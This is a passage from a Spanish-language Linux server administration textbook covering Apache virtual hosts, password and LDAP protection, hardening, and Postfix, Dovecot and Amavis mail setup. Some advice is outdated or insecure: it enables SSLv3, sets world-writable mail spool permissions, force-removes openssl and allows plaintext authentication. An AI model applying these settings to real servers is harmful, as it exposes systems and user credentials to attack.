versin 2 entonces edite /usr/local/apache2/conf/httpd.conf:
NameVirtualHost 200.91.221.202
Se debe recordar que debe existir una sola lnea NameVirtualHost por cada IP a compartir.
Paso 2: Nuevamente edite el archivo httpd.conf y adicione al final del archivo los dominios virtuales creados
en el dns.
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/unincca
ServerName www.unincca.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/fuac
ServerName www.fuac.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/uniandes
ServerName www.uniandes.edu.co
</VirtualHost>
Nota: No olvide crear cada carpeta de cada domnio, por ejemplo:
# mkdir /usr/local/apache2/htdosc/fuac para el domnio fuac.edu.co
# mkdir /usr/local/apache2/htdosc/unincca para el domnio unincca.edu.co
# mkdir /usr/local/apache2/htdosc/uniandes para el domnio uniandes.edu.co.

Adems se debe copiar una pagina index.html por cada directorio de cada organizacin, de preferencia
muestre el nombre del dominio en cada pagina web.

305

Parte II, Captulo 12 Asegurando los servicios de red - Apache

Paso 3: Reinicie el servidor apache


# /usr/local/apache2/bin/apachectl restart
Paso 4: Pruebe la funcionalidad configurada

Cuestionamientos:

Que
Que
Que
Que

pasara si olvidamos la lnea NameVirtualHost 200.91.221.202?


pasara si la duplicamos?
pasa si en el URL del cliente digitamos fuac.edu.co en vez de www.fuac.edu.co?
pasa si duplicamos el ServerName con nombres diferentes?

Recomendaciones:

Se debe limpiar la memoria cache del browser cliente para que los cambios ms nuevos aparezcan
actualizados. El cache guarda las paginas mas recientemente visitadas.
Es importante deshabilitar el proxy si esta configurado en el browser del cliente.

Fin de laboratorio

11.0

Zonas protegidas por usuario y clave

Para poder proteger un directorio por medio de Apache debemos utilizar el comando htpasswd, el cual
crear un archivo (base de datos) de los usuarios y sus respectivas claves el cual ser llamado como el
usuario desee, adems debemos configurar nuestro archivo httpd.conf con las directivas para proteger
directorios.
Abrimos una terminal de texto o grafica, y digitamos:
# htpasswd -c /directorio_cualquiera/.nombre_archivo





nom_usuario

El parmetro (flag) c: Nos indica que el archivo nombre_archivo es nuevo, solo debe digitarse la
primera vez.
directorio_cualquiera: Ubicacin del archivo donde quedaran consignados los nombres de usuarios
con sus respectivas claves.
.nombre_archivo: Nombre del archivo donde quedarn consignados los nombres de los usuarios con
sus respectivas claves. Se recomienda que inicie con un punto.
nom_usuario: Nombre del usuario a insertar en el archivo nom_archivo.

Luego de digitar el comando htpasswd el sistema nos responder as:


Password: Digitamos el password correspondiente al usuario nom_usuario.
Re-Type Password: Volvemos a digitar el password correspondiente al usuario nom_usuario.
Adding password for user nombre_usuario nos confirma que ha sido adicionado el password para
nom_usuario.
As habremos creado el archivo que guarda el nombre de los usuarios y sus respectivas contraseas los
cuales podrn ingresar y tener acceso al directorio que se desea proteger.
Entramos al archivo httpd.conf:
# vi httpd.conf
Agregamos las siguientes lneas al final del archivo:
# Para poner manuales protegidos
<Directory /srv/www/htdocs/manuales>
AuthName "Manuales de linux"
AuthType Basic

306

Parte II, Captulo 12 Asegurando los servicios de red - Apache

AuthUserFile /etc/httpd/.htpasswd
Require valid-user
</Directory>
Veamos que hace cada lnea:
AuthName: Este campo es nicamente explicativo y se mostrar en la ventana del cliente para informar por
que se pide password para ese directorio.
AuthType: En este campo debe ser necesariamente Basic, para validar los usuarios contra el archivo plano
creado con el comando htpasswd.
AuthUserFile: Es la ruta en el disco duro en donde se encontrar el archivo de claves.
require valid-user , Indica el nombre del usuario(s) que pueden entrar al directorio, estos usuarios deben
estar en el archivo indicado por AuthUserFile.
Nota: Si la directiva require tiene como parmetro user usuario, esto indica que solamente el usuario de
nombre usuario puede entrar a esa pagina.
Con esto salimos a la lnea de comandos y reiniciamos el servidor apache:
# apachectl stop
# apachectl start
Otra forma de reiniciar el servidor apache es:
# rcapache restart

307

Parte II, Captulo 12 Asegurando los servicios de red - Apache

12.0

Soporte al protocolo LDAP

La versin 2.0.x incluye soporte nativo a LDAP, no olvidar al compilar apache configurar el soporte a LDAP
as:
# ./configure

--with-ldap
--enable-ldap
--enable-authnz-ldap

A continuacin edite el archivo httpd.conf y adicione autenticacin contra LDAP:


Alias /ldap "/usr/local/apache2/htdocs/ldap/"
<Directory /usr/local/apache2/htdocs/ldap>
AuthName
"Autenticacion contra LDAP"
AuthType
Basic
AuthzLDAPAuthoritative off
AuthBasicProvider ldap
AuthLDAPUrl
"ldap://localhost:389/o=Acis,c=CO?uid?sub?(objectClass=*)"
require valid-user
</Directory>
Las ltimas versiones de Apache son ms restrictivas y las clusulas siguientes son obligatorias:
AuthzLDAPAuthoritative off
Permite que la clusula require tenga la opcin ldap-user para indicar un usuario exclusivo de la base de
datos ldap, al estar en off se puede usar la instruccin genrica require valid-user
AuthBasicProvider ldap
Esta instruccin es obligatoria o de lo contrario apache retornara el error:
Internal error: pcfg_openfile() Called with NULL filename, Bad file descriptor: Could not open password file:
(null)

308

Parte II, Captulo 12 Asegurando los servicios de red - Apache

13.0

Laboratorio:

Objetivo:
Configurar apache para proteger la carpeta manuales de los dominios virtuales creados en el laboratorio
anterior.
Prerrequisitos:
Crear los dominios virtuales y dentro de estos crear el directorio manuales para cada dominio virtual.

Paso 1:
Crear la base de datos de los usuarios unincca, fuac y uniandes con los claves sistemas, electrnica y gestin
respectivamente, as:
# /usr/local/apache2/bin/htpasswd c
# /usr/local/apache2/bin/htpasswd
# /usr/local/apache2/bin/htpasswd

/usr/local/apache2/conf/.htpasswd unincca
/usr/local/apache2/conf/.htpasswd fuac
/usr/local/apache2/conf/.htpasswd uniandes

Nota: Observe que el primer comando nicamente usa la opcin c

Paso 2: Cree la carpeta a proteger:


# mkdir /usr/local/apache2/htdocs/NOMBRE_DEL_DOMINIO/manuales
Note que la palabra NOMBRE_DEL_DOMINIO debe ser reemplazado por el nombre del directorio o dominio
virtual.

Paso 3: Proteja el directorio manuales


Edite el archivo /usr/local/apache2/conf/httpd.conf y adicione al final dentro de cada dominio su
correspondiente proteccin:
# Para proteger Manuales del curso
<Directory /usr/local/apache2/htdocs/NOMBRE_DEL_DOMINIO/manuales>
AuthName "Manuales de linux"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require valid-user
</Directory>
Note que la palabra NOMBRE_DEL_DOMINIO debe ser reemplazado por el nombre del directorio o dominio
virtual.
Para el ejemplo del dominio unincca, quedara as:
NameVirtualHost 200.91.221.202
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/unincca
ServerName www.unincca.edu.co
# Para proteger Manuales del curso
<Directory /usr/local/apache2/htdocs/unincca/manuales>
AuthName "Manuales de linux"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require valid-user
</Directory>
</VirtualHost>
Tenga en cuenta que solo debe existir una instruccin NameVirtualHost.

309

Parte II, Captulo 12 Asegurando los servicios de red - Apache

Paso 4: Reinicie el servidor apache y haga pruebas


# /usr/local/apache2/bin/apachectl restart
Paso 5: Habilite la autenticacin LDAP
Alias /ldap "/usr/local/apache2/htdocs/ldap/"
<Directory /usr/local/apache2/htdocs/ldap>
AuthName
"Autenticacion contra LDAP"
AuthType
Basic
AuthzLDAPAuthoritative off
AuthBasicProvider
ldap
AuthLDAPUrl
"ldap://localhost:389/o=Acis,c=CO?uid?sub?(objectClass=*)"
require
valid-user
</Directory>
Paso 6: Reinicie el servidor apache y haga pruebas
# /usr/local/apache2/bin/apachectl restart

Fin de laboratorio

Cuestionamientos:

Que pasara si la lnea Require valid-user se reemplazara por: Require user incca autonoma
uniandes ?
Cual seria la lnea si nicamente deseamos que el usuario incca vea el contenido de las
carpetas manuales?
Que pasara si en los tres comandos htpasswd se utilizara el parmetro c?
Pruebe cambiando el contenido de la variable AuthName con otros textos
Si se cambia el contenido de una pgina web, se refresca y esta no se actualiza a que se
debe?

310

Parte II, Captulo 12 Asegurando los servicios de red - Apache

14.0

Trucos
Para redireccionar un sitio web hacia otro servidor desde apache:

<VirtualHost 192.168.100.5>
DocumentRoot /srv/www/htdocs/dominios/lacositarica
ServerName www.lacositarica.com.co
redirect permanent / http://www.lacositarica.com
</VirtualHost>
Ejemplo:
los
archivos
de
la
pgina
web
www.mvaonline.com
quedan
en
el
sitio
www.mvausa.com/Colombia por lo tanto el archivo de configuracin que redirecciona en forma
permanente el dominio sera:
<VirtualHost *:80>
DocumentRoot /srv/www/htdocs
ServerName www.mvaonline.com
redirect permanent / http://www.mvausa.com/Colombia
</VirtualHost>

Para redireccionar un sitio web hacia otro servidor desde la pagina web sin modificar apache:
<meta http-equiv="Refresh" content="5; url=www.globalteksecurity.com">

Para que las pginas web muestren las tildes o caracteres especiales tenga en cuenta que existan
las siguientes instrucciones:

AddDefaultCharset
AddLanguage
AddCharset

15.0

ISO-8859-1
es
ISO-8859-1

.es
.iso8859-1

.latin1

Blindaje del servidor web apache

15.1 Evitar ataques XSS segn CVE : CVE-2004-2320


Por defecto el servidor web apache soporta los mtodos TRACE y/o TRACK para hacer debug a las
conexiones, esto le permitira a un atacante conseguir las credenciales de un usuario remoto haciendo uso
de la vulnerabilidad cross-site-scripting y dubbed XST, para evitar esta vulnerabilidad en cada dominio
virtual se deben incluir las siguientes instrucciones:
Para las nuevas versiones no es necesario el modulo rewrite:
La solucin a estos problemas se consigue agregando las siguientes configuraciones en el archivo httpd.conf:
TraceEnable Off
ServerTokens Prod
ServerSignature Off

# Deshabilita el mtodo trace


# Coloca la version como productivo y muestra la palabra Apache
# Deshabilita la firma del servidor

Se reinicia el servicio.
Comprobacion manual de la falla:
lab:~ # telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
TRACE / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 04:02:37 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8h PHP/5.3.6
Connection: close
Content-Type: message/http

311

Parte II, Captulo 12 Asegurando los servicios de red - Apache

TRACE / HTTP/1.0
Connection closed by foreign host.

Para versiones antiguas:


RewriteEngine on
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
RewriteRule .* - [F]
Apache debe tener habilitado este modulo de sobreescritura, para ello en SLES 10 se debe editar el archivo
/etc/sysconfig/apache y se le debe adicionar a la lnea APACHE_MODULE=.. rewrite la palabra rewrite, es
decir se le indica que cargue el modulo rewrite como aparece al final de la linea.
Finalmente se debe reiniciar el servicio.

15.2 Asegurar directorios:


Ahora seguimos asegurando la configuracin del servidor evitando que se listen los directorios a nivel global
del servidor, para esto modificamos las directivas <Directory "/usr/local/apache2/htdocs"> e <IfModule
dir_module>
<Directory "/usr/local/apache2/htdocs">
Options -Indexes FollowSymLinks
</Directory>
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php
</IfModule>
Al anteponer el signo menos a la opcin Indexes le estamos diciendo al servidor que no liste los contenidos
de los directorios que no poseen un archivo index.html, index.htm o index.php; esta ltima condicin se
logra colocando los archivos que se pueden listar cuando se accede a un directorio, apache los busca en el
orden .html, .htm y por ltimo .php esto puede comprobarse en las siguientes imgenes:

El servidor apache devuelve un error HTTP 403 indicando que no va a mostrar ningn archivo, esto es
recomendable ya que pueden existir archivos con configuraciones, cadenas de conexin o informacin
sensible que podra ser de mucha utilidad para un posible atacante.

15.3 Uso de certificados de ltima versin:


Se recomienda desactivar dentro de la lnea SSLCipherSuite las opciones LOW, -SSLV2, -EXP, -eNULL y
activar la nueva lnea SSLProtocol ALL +SSLV3 +TLSV1

312

Parte II, Captulo 12 Asegurando los servicios de red - Apache

15.4 Afinamiento de apache para grandes prestaciones:


Si mas de 500 usuarios acceden al servidor apache entonces la configuracin por defecto enviara el error se
ha rebasado la variable maxclien, para no rebasarlo se recomienda hacer el siguiente afinamiento de
variables en este archivo de configuracion:
UserDir
disabled
StartServers
8
# Defecto 10
MaxSpareServers
20
ServerLimit 1024 (esta variable no existe en apache 1.3.x)
MaxClients

1024

# Defecto 10000
MaxRequestsPerChild
KeepAlive

4000
off

313

Captulo 13
Asegurando los servicios de red
Servidor de correos
1.0

2.0

POSTFIX
Es la implementacin del protocolo SMTP que sirve para transferir mensajes en cualquier formato entre
dos servidores de correo en red
Se implementa en linux por medio de un demonio o proceso servidor que atiende los requerimientos de
los usuarios.
SMTP: Traduce Simple Mail Transfer Protocol y es el protocolo implementado por Postfix, Sendmail y
Qmail como servidores correos mas conocidos
Es transparente para el usuario pues los clientes de correos para configurarse solo necesitan saber la
cuenta del usuario, el servidor saliente, el servidor entrante y el puerto de correo del servidor SMTP,
POP e IMAP.
Conecta distintas mquinas y transfiere mensajes de correo entre ellas.
Es similar a como FTP transfiere archivos pero este se da entre personas que poseen buzones de correo
en los servidores que desean transferirse archivos.

Por que implementar POSTFIX


Aumenta la productividad al aumentar la velocidad de intercambio de mensajes.
Es el servicio de red ms utilizado en Internet
Es la mejor justificacin inicial para crear una red debido al ahorro de papel y de llamadas telefnicas.
Observe el beneficio de enviar un e-mail en cambio de enviar una carta postal, un fax, o hacer una
llamada telefnica:

314

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Beneficio
9
8
7
6
5
4

U S $/2 pg

3
2
1
0
Po stal

T elfo n o

Fax

e-m ail

Slide 7

3.0

Filosofia

4.0

Se basa en la arquitectura cliente servidor de dos niveles


Un cliente de correo pide enviar informacin a una cuenta de correo en otro servidor y el servidor
local de envo lo transfiere al servidor remoto
Se apoya en el protocolo POP3 para que los mensajes se borren del servidor y se trasladen al
cliente, esto ahorra espacio en disco del servidor
Se apoya en el protocolo IMAP para manejar los correos centralizados
Existe software en formato web para no utilizar clientes de tipo escritorio, es decir un usuario se
puede conectarse al servidor webmail y este simula un cliente en la maquina del usuario final:
horde/imp, squirrelmail.
Esta tcnica es muy utilizada por los proveedores de acceso a Internet y por los portales para
suministrar acceso a los correos sin necesidad de instalar clientes de correo en los PC remotos

Como obtener la ultima version

La ltima versin obtngala del sitio http://www.postfix.org.


Es recomendable bajar la ltima versin con cdigo fuente para recompilar e instalar.
MTA significa Mail Transport Agent y son las siglas genricas que indican servidor de correo, a postfix como
a sendmail tambin se le llama MTA.

315

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

5.0

Compilando la ultima versin

Cree el usuario postfix que pertenezca al grupo postdrop, si el usuario ya existe entonces cree unicamente el
grupo postdrop.
#
#
#
#
#
#

groupadd postdrop
useradd postfix
tar xzvf postfix-2.3.3.tar.gz
cd postfix*
make
make install

Presione la tecla Enter en todas las preguntas, a la pregunta de cual es el grupo responda postdrop.

6.0

Dominios virtuales

Entre a webmin, tome la opcin server y elija la opcin Postfix Configuration.

Es importante que el servidor DNS conozca los dominios virtuales as como los registros de tipo MX para
cada dominio virtual.
El MTA (Mail Transfer Agent) Postfix para enviar correos toma de la direccin el dominio y la busca en el
servidor DNS, por lo tanto el DNS debera contener algo como:
Midominio.com.co.

IN

MX

10 Miservidor.midominio.com.co.

Para evaluar si el dns conoce el registro MX del dominio digite:


# dig mx midominio.com.co

7.0

Opciones generales de postfix en webmin

316

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Inserte los dominios virtuales separados por el signo coma , para indicarle al servidor postfix que maneje
dominios virtuales, el servidor de correos se configura en el prrafo What domains to receive mail for,
Whole domain de webmin.
Esto se ver reflejado en el archivo /etc/postfix/main.cf sobre el parmetro mydestination y se ver
as:
mydestination = $myhostname, $mydomain, localhost, localhost.$mydomain, sco.com.co, mvaonline.com,
supprix.com,
tarantella.com.co,
lacositaricamva.com
,
clienteservidor.net,
lacositarica.com,
indepentriskconsulting.com, riskclaims.com
Nota: Es importante que el nombre de la maquina ($myhostname) y el dominio ($mydomain) queden en
esta variable o tendr errores de tipo loops back to myself cuando se envien correos entre usuarios del
mismo dominio
Si se desea que los correos sean enviados por otro servidor entonces se debe utilizar el parmetro
relayhost con el IP del servidor que enviar los correos:
relayhost = 132.148.160.2
Revise para compatibilidad con Microsoft Exchange 2000 que el protocolo RFC821 no sea estricto pues
Microsoft modifica los encabezados.
strict_rfc821_envelopes = no

ANTIRELAY
En postfix por defecto las interfaces de red del servidor linux son las nicas redes que podrn usar el IP del
servidor LINUX como servidor SMTP.
Para que otras redes de la WAN usen su servidor Linux/Postfix como SMTP se debe activar el relay en la
variable de webmin Local networks, por ejemplo la red 132.148.160.0/24 donde 132.148.160.0 nos indica
que cualquier PC de este red puede usar el servidor postfix como SMTP, el /24 indica usar una mascara de
red de 24 bits es decir 255.255.255.0

317

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Esto se ver reflejado en el archivo /etc/postfix/main.cf sobre el parmetro mynetworks:


mynetworks = 132.148.160.0/24, 127.0.0.0/8, 200.93.178.1/32, 200.93.178.2/32, 200.221.129.18/32,
200.221.129.20/32
Se debe tener cuidado con las redes colocadas en este parmetro pues un error significara que el servidor
postfix puede ser usado para enviar spam. Para asignar el nombre del servidor postfix por medio de webmin
use la variable Internet Host Name of this mail system. Para este ejemplo se utiliz oms.mvaonline.com, en
/etc/postfix/main.cf se ver as:
myhostname = oms.mvaonline.com

8.0

Trucos de postfix

Para habilitar el envio de correo de grandes tamaos como por ejemplo 20MB se debe configurar el archivo
/etc/postfix/main.cf en la la variable
message_size_limit = 20000000
Para limitar el tamao del buzn o colocar una cuota para todos los usuarios en disco para un mximo de
50MB modifique la siguiente variable:
mailbox_size_limit = 50000000
Cuando se poseen dos servidores de correos en un mismo dominio y en cada servidor hay cuentas
excluyentes los correos que llegan por direccionamiento del DNS a un servidor se perdern por que la cuenta
no existe en ese servidor para evitarlo debe redireccionarse hacia el otro servidor.
El efecto que el usuario ve al enviar correos es que los correos se pierden por que el servidor no posee la
cuenta respectiva.
Habilite en el servidor nodo1 la lnea fallback_transport=nodo2.sudominio.com.co y en el nodo2 la lnea
fallback_transport=nodo1.sudominio.com.co.
Para mandar un e-mail por lnea de comandos con el comando telnet, escriba:

318

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

# telnet localhost

25

Salude al servidor de correos con su nombre de servidor o MTA


ehlo mvaonline.com
subject: saludos
mail from: acarvaja@mvaonline.com
El sistema le responde si esta bien la direccin de correos
Rcpt to:root@mvaonline.com
El sistema le responde si esta bien la direccin de correos
data
El sistema le responde que al final adicione un punto para finalizar
Esta es una prueba.
.
quit

Para diagnosticar si un servidor postfix/sendmail esta enviando e-mail digite en linux:


# sendmail v acarvaja@lacositarica.com.co
Describa el mensaje a enviar
.
Note el punto aislado en una lnea independiente. Este indica fin de prueba.
Para que el sistema haga la prueba automticamente sin intevencion humana:
# sendmail v acarvaja@lacositarica.com.co < /dev/null > pruebas.txt
Mire el archivo/fichero pruebas.txt y encontrara exactamente los errores

Si postfix emite errores con el servicio encendido lo ms probable es que el archivo/fichero master.cfg este
mal configurado, se anexa una plantilla que funciona:
Archivo de configuracin master.cf:
# Postfix master process configuration file. For details on the format
# of the file, see the Postfix master(5) manual page.
# service type private unpriv chroot wakeup maxproc command + args
#
(yes) (yes) (yes) (never) (100)
smtp
inet n
n
smtpd
#submission inet n
n
smtpd
#
-o smtpd_etrn_restrictions=reject
#
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
#smtps inet n
n
smtpd -o smtpd_tls_wrappermode=yes
# -o smtpd_tls_wrappermode=yes -o smtpd_sasl_auth_enable=yes
#submission inet n
n
smtpd
# -o smtpd_etrn_restrictions=reject
# -o smtpd_enforce_tls=yes -o smtpd_sasl_auth_enable=yes
#628
inet n
n
qmqpd
pickup fifo n
n
60
1
pickup
cleanup unix n
n
0
cleanup
qmgr
fifo n
n
300
1
qmgr

319

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

#qmgr
fifo n
n
300
1
oqmgr
#tlsmgr unix n
1000? 1
tlsmgr
rewrite unix n
trivial-rewrite
bounce unix n
bounce
defer unix n
0
bounce
flush unix n
n
1000? 0
flush
verify unix n
1
verify
proxymap unix n
proxymap
smtp
unix n
smtp
# When relaying mail as backup MX, disable fallback_relay to avoid MX loops
relay unix n
smtp
-o fallback_relay=
#
-o smtp_helo_timeout=5 -o smtp_connect_timeout=5
showq unix n
n
showq
error unix n
error
discard unix n
discard
local unix n
n
local
virtual unix n
n
virtual
lmtp
unix n
lmtp
anvil unix n
1
anvil
#localhost:10025 inet
n
n
smtpd -o content_filter=
scache unix n
1
scache
tlsmgr unix n
1000? 1
tlsmgr
#tlsmgr unix n
1000? 1
tlsmgr
# Interfaces to non-Postfix software. Be sure to examine the manual
# pages of the non-Postfix software to find out what options it wants.
# Many of the following services use the Postfix pipe(8) delivery
# agent. See the pipe(8) man page for information about ${recipient}
# and other message envelope options.
# maildrop. See the Postfix MAILDROP_README file for details.
# Also specify in main.cf: maildrop_destination_recipient_limit=1
maildrop unix n
n
pipe
flags=DRhu user=vmail argv=/usr/local/bin/maildrop -d ${recipient}
cyrus unix n
n
pipe
user=cyrus argv=/usr/lib/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}
uucp
unix n
n
pipe
flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)
ifmail unix n
n
pipe
flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp unix n
n
pipe
flags=Fq. user=foo argv=/usr/local/sbin/bsmtp -f $sender $nexthop $recipient
procmail unix n
n
pipe
flags=R user=nobody argv=/usr/bin/procmail -t -m /etc/procmailrc ${sender} ${recipient}
retry unix n
error
proxywrite unix n
1
proxymap

En SUSE la herramienta yast remueve la lnea cleanup haciendo que el servidor no reciba correos, para
solucionarlo se debe agregar al archivo master.cf la lnea correspondiente al cleanup:

NOTA: NO se debe usar YAST para configurar el servicio de correo, esto borrar automticamente la lnea
en el archivo y se presentar nuevamente el problema.

Para hablar con el protocolo POP3:


telnet ip 110
USER usuario
PASS clave_en_claro
QUIT

320

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Otras opciones:
STAT
valid in the TRANSACTION state
LIST [msg]
RETR msg
DELE msg
NOOP
RSET
APOP name digest
TOP msg n
UIDL [msg]
POP3 Responde:
+OK
-ERR

Para hablar con el protocolo IMAP:


telnet ip 143
. login usuario clave_en_claro
. list * *
. logout
Para apagar el servidor postfix:
# /etc/init.d/postfix stop
Para arrancar el servidor postfix:
# /etc/init.d/postfix Start
Para revisar la cola de mensajes digite:
# mailq
Para borrar la cola de mensajes:
# postsuper d ALL

Para revisar si el archivo /etc/postfix/main.cf tiene errores digite:


# postfix check

POP e IMAP: Si el empaquetamiento de LINUX es un SUSE 8.X o REDHAT 8.X o una version anterior,
entonces existir el archivo /etc/inetd.conf, edite el archivo /etc/inetd.conf y quite el signo comentario #
en la lnea que inicie por la palabra pop3 e imap, esto permitir recuperar los mensajes con los clientes
de correos como Outlook o Eudora:
pop3
imap

stream tcp
stream tcp

nowait
nowait

root
root

/usr/sbin/tcpd
/usr/sbin/tcpd

ipop3d
imapd

Reinicie el servicio inetd:


/etc/init.d/inetd stop
/etc/init.d/inetd start
El software qpopper viene con las versiones antiguas de Suse y soporta nicamente POP3.
Si el Linux es un SUSE 9 o REDHAT 3.x o una versin mayor, entonces debe editar el archivo
/etc/xinetd.d/qpopper y cambiar la variable disable = no, edite /etc/xinetd.d/imap y cambie la variable
disable = no
Si su Linux es Fedora edite el archivo /etc/xinetd.d/ipop3 y cambie la variable
/etc/xinetd.d/imap y cambie la variable disable = no

321

disable = no, edite

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

/etc/init.d/xinetd stop
/etc/init.d/xinetd start

POP3/IMAP con Cyrus


SUSE 9 ya trae soporte de Cyrus que son los protocolos POP3 e IMAP y adems soporta el directorio LDAP,
para habilitarlo edite el archivo /etc/imapd.conf
Para configurar Cyrus adicione las lneas al archivo /etc/imapd.conf:
allowplaintext: yes
sasl_mech_list:PLAIN
Entonces el archivo quedaria asi:
configdirectory: /var/lib/imap
partition-default: /var/spool/imap
admins: cyrus
sievedir: /var/lib/imap/sieve
sendmail: /usr/sbin/sendmail
hashimapspool: true
allowplaintext: yes
sasl_mech_list: PLAIN
sasl_pwcheck_method: saslauthd
tls_cert_file: /etc/pki/cyrus-imapd/cyrus-imapd.pem
tls_key_file: /etc/pki/cyrus-imapd/cyrus-imapd.pem
tls_ca_file: /etc/pki/tls/certs/ca-bundle.crt
Reinicie el servicio cyrus con los comandos:
/etc/init.d/cyrus stop
/etc/init.d/cyrus start
Entre a Yast2 Servicios de Red Mail Server (autentiquese en ldap) - Local Delivery y seleccione en Tipo
de entrega local la opcin Cyrus Imap.
Nota: Cuando el usuario desee crear carpetas personales en cuenta de correo en el servidor desde Outlook,
debe ubicarse en la carpeta raz que es la Bandeja de Entrada.

Para reconstruir la base de datos cyrus, convirtase en el usuario cyrus:


# su cyrus
ctl_cyrusdb r

Para hacer un checkpoint a la base de datos cyrus, convirtase en el usuario cyrus:


# su cyrus
ctl_cyrusdb c

Nota: En SUSE 9 al tener mas de un dominio en el DNS con soporte a LDAP es posible que falle el sistema,
mientras SUSE arregla este problema se le recomienda usar en cambio el software IMAP/POP Dovecot:

322

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

POP3 con la implementacin DOVECOT


Nota:

Para la version dovecot 2.x se debe verificar que no exista la version de openssl anterior a la
1.0.0.a pues estas presentan fallas de seguridad
Para borrarla use el comando rpm -e openssl --nodeps
Verifique que exista el paquete pam-devel que incluye las librerias de desarrollo para el modulo de
autenticacion PAM

Baje el software del sitio www.dovecot.org y pngalo en la carpeta /tmp:


#
#
#
#
#
#

tar xzvf dovecot*


cd dovecot*
export CPPFLAGS=-I/usr/local/ssl/include export LDFLAGS=-L/usr/local/ssl/lib64
./configure --with-pam --with-ssl --with-ssldir=/usr/local/ssl
make
make install

Cree un usuario dovecot con la herramienta:


# useradd dovecot
Cambie los permisos de las siguientes carpetas:
# chmod 742 /usr/local/var/run/dovecot/login
# chmod 777 /var/spool/mail
Edite el archivo de configuracin /usr/local/etc/dovecot.conf copiandolo del ejemplo dovecot-example.conf
En Ubuntu este archivo/fichero se encuentra en /etc/dovecot/dovecot.conf
Y adicione las siguientes variables:
Protocols = imap imaps pop3 pop3s
pop3_uidl_format = %08Xu%08Xv
disable_plaintext_auth = no
mail_location = mbox:~/:INBOX=/var/mail/%u
Verifique que exista el archivo /etc/pam.d/dovecot con las siguientes lneas:
auth required
account required

pam_unix.so
pam_unix.so

Para iniciar el servicio ejecute /usr/local/sbin/dovecot


Si hay problemas lea el archivo /var/log/maillog.
Si el Linux es Ubuntu se recomiendan los paquetes:
En linux Ubuntu el siguiente comando instala el soporte a pop3:
# aptitude install dovecot dovecot-pop3d imapd

323

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

9.0

Manejo de alias

Los aliases los maneja el archivo /etc/postfix/aliases pero existe una copia por defecto en el archivo
/etc/aliases.
Para actualizar este archivo por la herramienta webmin tome la opcin Mail Aliases.
Podr adicionar los alias en forma manual segn el siguiente formato:
Nombre_de_alias:

usuario1@dominioa,
usuario2@dominiob,
usuarion@dominioc

Por ejemplo por medio de alias se podra redireccionar el correo de una direccin o alias hacia otra o muchas
cuentas y alias, para el caso soporte@mvaonline.com podra reenviarse el correo a las cuentas
acarvaja@mvaonline.com, cmaestre@mvaonline.com, jvallejo@mvaonline.com, la entrada en el archivo
quedara as:
soporte: acarvaja@mvaonline, cmaestre@mvaonline.com,

jvallejo@mvaonline.com

Para sincronizar la base de datos de alias se debe digitar: # newaliases

SUSE SLES 9.X


En esta versin de SUSE que soporta LDAP debe activarse en el sistema Yast la configuracin del cliente
LDAP, en usar LDAP.
La cadena DN base de LDAP debe ser igual a:
dc=mvaonline,dc=com,dc=co
Vaya a configuracin avanzada y haga clic sobre Servidor de archivos, adems haga clic sobre Crear
objetos de configuracin predeterminada.
No olvide diligenciar los campos del formulario: Configuracin DN base as:
ou=ldapconfig, dc=mvaonline, dc=com, dc=co
Dn de administrador as:
cn=Administrator,dc=mvaonline,dc=com,dc=co

324

Parte II, Captulo 13 Asegurando los servicios de red Servidor de Correos

Si en tiempo de instalacin de SUSE SLES 9 no se activo LDAP adems deber activar Soporte LDAPen el
servicio de red dns.

10.0

Activacin de Amavis para filtro de virus y mails

Elija la opcin de Yast mail Server. Se le pedir la clave del servidor LDAP.
A mano izquierda aparece la opcin Mailserver Prevention, elija Amavis.

Edite el

archivo /etc/amavisd.conf
La variable $mydomain debe ser igual al dominio de su compaa
La variable $myhostname debe ser igual al servidor en fqdn
Si la variable $MYHOME no se encuentra habilitada entonces por omisin es /var/amavis
Revise $inet_socket_port = 10024, por este puerto se recibir el correo para ser filtrado
Descomentar las siguientes variables para que el MTA POSTFIX le enve los correos a
Amavis para filtrarlos y amavis a su vez los entregue por el puerto 10025, las variables
son:
$forward_method = 'smtp:[127.0.0.1]:10025'; # where to forward checked mail
$notify_method = $forward_method;
# where to submit notifications
En la seccin de antivirus habilite nicamente los antivirus a trabajar, para este caso se
habilito nicamente Clamav
Para evitar que los virus y los spam lleguen a los usuarios pero una copia este en
cuarentena, se deben activar las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_DISCARD;
$final_bad_header_destiny
= D_PASS;
D_DISCARD har que los correos se descarten pero la opcin D_PASS los dejara pasar
hasta el usuario y asu vez sern marcados.
Para permitir que los virus y los spam estn en cuarentena pero que llegue al usuario un
mensaje de aviso entonces habilite las siguientes variables:
$final_virus_destiny
= D_DISCARD;
$final_banned_destiny
= D_BOUNCE;
$final_spam_destiny
= D_PASS;
$final_bad_header_destiny
= D_PASS;
$warnvirusrecip
$virus_quarantine_to
$spam_quarantine_to
